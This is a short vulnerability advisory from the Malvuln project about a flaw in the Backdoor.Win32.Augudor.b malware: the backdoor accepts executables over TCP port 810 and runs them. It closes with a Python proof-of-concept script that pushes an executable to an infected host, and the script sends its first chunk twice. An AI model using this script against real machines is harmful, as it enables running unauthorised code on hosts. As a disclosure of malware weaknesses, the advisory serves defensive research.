Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/94ccd337cbdd4efbbcc0a6c888abb87d.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Augudor.b
Vulnerability: Remote File Write Code Execution
Description: The malware drops an empty file named "zy.exe" and listens on TCP port 810. Third-party adversaries who can reach the infected host can write executable code to the empty "zy.exe" file on the system via a socket program and it will execute as soon as the binary transfer has completed. Successfully tested with a 880 byte executable.
Family: Augudor
Type: PE32
MD5: 94ccd337cbdd4efbbcc0a6c888abb87d
Vuln ID: MVID-2022-0644
Dropped files: zy.exe
Disclosure: 09/25/2022
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=810
DOOM="DOOM_SM.exe" #880 bytes
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)
while EXE:
s.send(EXE)
EXE=f.read()
s.close()
print("By Malvuln");
if __name__=="__main__":
doit()
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